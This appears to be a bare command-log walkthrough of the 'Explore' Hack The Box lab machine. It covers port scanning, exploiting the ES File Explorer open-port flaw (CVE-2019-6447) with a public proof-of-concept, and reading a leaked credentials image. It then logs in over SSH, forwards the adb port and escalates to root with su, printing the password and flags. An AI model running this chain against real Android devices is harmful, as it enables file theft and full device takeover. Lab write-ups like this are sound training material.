$ rustscan -a 10.10.10.247
PORT STATE SERVICE REASON
2222/tcp open EtherNetIP-1 syn-ack
42135/tcp open unknown syn-ack
44185/tcp open unknown syn-ack
59777/tcp open unknown syn-ack
$ nmap -p- -T4 -A 10.10.10.247
PORT STATE SERVICE VERSION
2222/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey:
|_ 2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
5555/tcp filtered freeciv
39307/tcp open unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.0 400 Bad Request
| Date: Mon, 05 Jul 2021 15:49:56 GMT
| Content-Length: 22
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| GetRequest:
| HTTP/1.1 412 Precondition Failed
| Date: Mon, 05 Jul 2021 15:49:56 GMT
| Content-Length: 0
| HTTPOptions:
| HTTP/1.0 501 Not Implemented
| Date: Mon, 05 Jul 2021 15:50:01 GMT
| Content-Length: 29
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Method not supported: OPTIONS
| Help:
| HTTP/1.0 400 Bad Request
| Date: Mon, 05 Jul 2021 15:50:16 GMT
| Content-Length: 26
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line: HELP
| RTSPRequest:
| HTTP/1.0 400 Bad Request
| Date: Mon, 05 Jul 2021 15:50:01 GMT
| Content-Length: 39
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| valid protocol version: RTSP/1.0
| SSLSessionReq:
| HTTP/1.0 400 Bad Request
| Date: Mon, 05 Jul 2021 15:50:16 GMT
| Content-Length: 73
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| ?G???,???`~?
| ??{????w????<=?o?
| TLSSessionReq:
| HTTP/1.0 400 Bad Request
| Date: Mon, 05 Jul 2021 15:50:16 GMT
| Content-Length: 71
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| ??random1random2random3random4
| TerminalServerCookie:
| HTTP/1.0 400 Bad Request
| Date: Mon, 05 Jul 2021 15:50:16 GMT
| Content-Length: 54
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
|_ Cookie: mstshash=nmap
42135/tcp open http ES File Explorer Name Response httpd
|_http-title: Site doesn't have a title (text/html).
59777/tcp open http Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).
$ nikto -h http://10.10.10.247:42135
+ Server: ES Name Response Server
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ ERROR: Error limit (20) reached for host, giving up. Last error: Error in reading headers: error reading in all headers
+ Scan terminated: 20 error(s) and 3 item(s) reported on remote host
$ nikto -h http://10.10.10.247:59777
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ /bin/ss: Mediahouse Statistics Server may allow attackers to execute remote commands. Upgrade to the latest version or remove from the CGI directory.
+ /bin/post-query: Echoes back result of your POST
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected
+ Scan terminated: 20 error(s) and 6 item(s) reported on remote host
$ dirb http://10.10.10.247:59777///
---- Scanning URL: http://10.10.10.247:59777/// ----
+ http://10.10.10.247:59777///bin (CODE:301|SIZE:67)
+ http://10.10.10.247:59777///cache (CODE:301|SIZE:71)
+ http://10.10.10.247:59777///config (CODE:301|SIZE:73)
+ http://10.10.10.247:59777///d (CODE:301|SIZE:63)
+ http://10.10.10.247:59777///data (CODE:301|SIZE:69)
+ http://10.10.10.247:59777///dev (CODE:301|SIZE:67)
+ http://10.10.10.247:59777///etc (CODE:301|SIZE:67)
+ http://10.10.10.247:59777///init (CODE:403|SIZE:31)
+ http://10.10.10.247:59777///lib (CODE:301|SIZE:67)
+ http://10.10.10.247:59777///oem (CODE:301|SIZE:67)
+ http://10.10.10.247:59777///proc (CODE:301|SIZE:69)
+ http://10.10.10.247:59777///product (CODE:301|SIZE:75)
+ http://10.10.10.247:59777///sbin (CODE:301|SIZE:69)
+ http://10.10.10.247:59777///storage (CODE:301|SIZE:75)
+ http://10.10.10.247:59777///sys (CODE:301|SIZE:67)
+ http://10.10.10.247:59777///system (CODE:301|SIZE:73)
+ http://10.10.10.247:59777///vendor (CODE:301|SIZE:73)
ES File Explorer (CVE-2019–6447)
https://medium.com/@knownsec404team/analysis-of-es-file-explorer-security-vulnerability-cve-2019-6447-7f34407ed566
https://github.com/fs0c131y/ESFileExplorerOpenPortVuln
https://github.com/fs0c131y/ESFileExplorerOpenPortVuln/blob/master/poc.py
python3 poc.py --cmd getDeviceInfo --ip 10.10.10.247
kali@kali:~/0.htb/machines/Explore247$ python3 poc.py --cmd getDeviceInfo --ip 10.10.10.247
[*] Executing command: getDeviceInfo on 10.10.10.247
[*] Server responded with: 200
{"name":"VMware Virtual Platform", "ftpRoot":"/sdcard", "ftpPort":"3721"}
kali@kali:~/0.htb/machines/Explore247$
python poc.py --cmd listFiles --ip 10.10.10.247
kali@kali:~/0.htb/machines/Explore247$ python poc.py --cmd listFiles --ip 10.10.10.247
[*] Executing command: listFiles on 10.10.10.247
[*] Server responded with: 200
[
{"name":"lib", "time":"3/25/20 05:12:02 AM", "type":"folder", "size":"12.00 KB (12,288 Bytes)", },
{"name":"vndservice_contexts", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"65.00 Bytes (65 Bytes)", },
{"name":"vendor_service_contexts", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"0.00 Bytes (0 Bytes)", },
{"name":"vendor_seapp_contexts", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"0.00 Bytes (0 Bytes)", },
{"name":"vendor_property_contexts", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"392.00 Bytes (392 Bytes)", },
{"name":"vendor_hwservice_contexts", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"0.00 Bytes (0 Bytes)", },
{"name":"vendor_file_contexts", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"6.92 KB (7,081 Bytes)", },
{"name":"vendor", "time":"3/25/20 12:12:33 AM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"ueventd.rc", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"5.00 KB (5,122 Bytes)", },
{"name":"ueventd.android_x86_64.rc", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"464.00 Bytes (464 Bytes)", },
{"name":"system", "time":"3/25/20 12:12:31 AM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"sys", "time":"7/6/21 06:10:36 AM", "type":"folder", "size":"0.00 Bytes (0 Bytes)", },
{"name":"storage", "time":"7/6/21 06:10:45 AM", "type":"folder", "size":"80.00 Bytes (80 Bytes)", },
{"name":"sepolicy", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"357.18 KB (365,756 Bytes)", },
{"name":"sdcard", "time":"4/21/21 02:12:29 AM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"sbin", "time":"7/6/21 06:10:36 AM", "type":"folder", "size":"140.00 Bytes (140 Bytes)", },
{"name":"product", "time":"3/24/20 11:39:17 PM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"proc", "time":"7/6/21 06:10:35 AM", "type":"folder", "size":"0.00 Bytes (0 Bytes)", },
{"name":"plat_service_contexts", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"13.73 KB (14,057 Bytes)", },
{"name":"plat_seapp_contexts", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"1.28 KB (1,315 Bytes)", },
{"name":"plat_property_contexts", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"6.53 KB (6,687 Bytes)", },
{"name":"plat_hwservice_contexts", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"7.04 KB (7,212 Bytes)", },
{"name":"plat_file_contexts", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"23.30 KB (23,863 Bytes)", },
{"name":"oem", "time":"7/6/21 06:10:36 AM", "type":"folder", "size":"40.00 Bytes (40 Bytes)", },
{"name":"odm", "time":"7/6/21 06:10:36 AM", "type":"folder", "size":"220.00 Bytes (220 Bytes)", },
{"name":"mnt", "time":"7/6/21 06:10:37 AM", "type":"folder", "size":"240.00 Bytes (240 Bytes)", },
{"name":"init.zygote64_32.rc", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"875.00 Bytes (875 Bytes)", },
{"name":"init.zygote32.rc", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"511.00 Bytes (511 Bytes)", },
{"name":"init.usb.rc", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"5.51 KB (5,646 Bytes)", },
{"name":"init.usb.configfs.rc", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"7.51 KB (7,690 Bytes)", },
{"name":"init.superuser.rc", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"582.00 Bytes (582 Bytes)", },
{"name":"init.rc", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"29.00 KB (29,697 Bytes)", },
{"name":"init.environ.rc", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"1.04 KB (1,064 Bytes)", },
{"name":"init.android_x86_64.rc", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"3.36 KB (3,439 Bytes)", },
{"name":"init", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"2.29 MB (2,401,264 Bytes)", },
{"name":"fstab.android_x86_64", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"753.00 Bytes (753 Bytes)", },
{"name":"etc", "time":"3/25/20 03:41:52 AM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"dev", "time":"7/6/21 06:10:37 AM", "type":"folder", "size":"2.64 KB (2,700 Bytes)", },
{"name":"default.prop", "time":"7/6/21 06:10:36 AM", "type":"file", "size":"1.09 KB (1,118 Bytes)", },
{"name":"data", "time":"3/15/21 04:49:09 PM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", },
{"name":"d", "time":"7/6/21 06:10:35 AM", "type":"folder", "size":"0.00 Bytes (0 Bytes)", },
{"name":"config", "time":"7/6/21 06:10:37 AM", "type":"folder", "size":"0.00 Bytes (0 Bytes)", },
{"name":"charger", "time":"12/31/69 07:00:00 PM", "type":"file", "size":"0.00 Bytes (0 Bytes)", },
{"name":"cache", "time":"7/6/21 06:10:37 AM", "type":"folder", "size":"120.00 Bytes (120 Bytes)", },
{"name":"bugreports", "time":"12/31/69 07:00:00 PM", "type":"file", "size":"0.00 Bytes (0 Bytes)", },
{"name":"bin", "time":"3/25/20 12:26:22 AM", "type":"folder", "size":"8.00 KB (8,192 Bytes)", },
{"name":"acct", "time":"7/6/21 06:10:36 AM", "type":"folder", "size":"0.00 Bytes (0 Bytes)", }
]
kali@kali:~/0.htb/machines/Explore247$
$ curl --header "Content-Type: application/json" --request POST --data "{\"command\":\"listFiles\"}" http://10.10.10.247:59777/sdcard/dcim/
[
{"name":"concept.jpg", "time":"4/21/21 02:38:08 AM", "type":"file", "size":"135.33 KB (138,573 Bytes)", },
{"name":"anc.png", "time":"4/21/21 02:37:50 AM", "type":"file", "size":"6.24 KB (6,392 Bytes)", },
{"name":"creds.jpg", "time":"4/21/21 02:38:18 AM", "type":"file", "size":"1.14 MB (1,200,401 Bytes)", },
{"name":"224_anc.png", "time":"4/21/21 02:37:21 AM", "type":"file", "size":"124.88 KB (127,876 Bytes)", }
http://10.10.10.247:59777/sdcard/DCIM/creds.jpg
kristi
Kr1sT!5h@Rp3xPl0r3!
http://10.10.10.247:59777/sdcard/user.txt
f32017174c7c7e8f50c6da52891ae250
kali@kali:~/0.htb/machines/Explore247$ ssh kristi@10.10.10.247 -p 2222
Password authentication
Password:
:/ $ whoami
u0_a76EoD:
:/ $ cd sdcard
:/sdcard $ cat user.txt
f32017174c7c7e8f50c6da52891ae250
:/sdcard $
sudo ssh -p 2222 -L 5555:localhost:5555 kristi@explore.htb
kali@kali:~/0.htb/machines/Explore247$ sudo ssh -p 2222 -L 5555:localhost:5555 kristi@10.10.10.247
[sudo] password for kali:
The authenticity of host '[10.10.10.247]:2222 ([10.10.10.247]:2222)' can't be established.
RSA key fingerprint is SHA256:3mNL574rJyHCOGm1e7Upx4NHXMg/YnJJzq+jXhdQQxI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.10.247]:2222' (RSA) to the list of known hosts.
Password authentication
Password:
:/ $ whoami
u0_a76
:/ $ id
uid=10076(u0_a76) gid=10076(u0_a76) groups=10076(u0_a76),3003(inet),9997(everybody),20076(u0_a76_cache),50076(all_a76) context=u:r:untrusted_app:s0:c76,c256,c512,c768
kali@kali:~/0.htb/machines/Explore247$ adb connect localhost:5555
connected to localhost:5555
kali@kali:~/0.htb/machines/Explore247$ adb shell
x86_64:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
x86_64:/ $ whoami
shell
x86_64:/ $ su
:/ #
:/data # cat root.txt
f04fc82b6d49b41c9b08982be59338c5
:/data #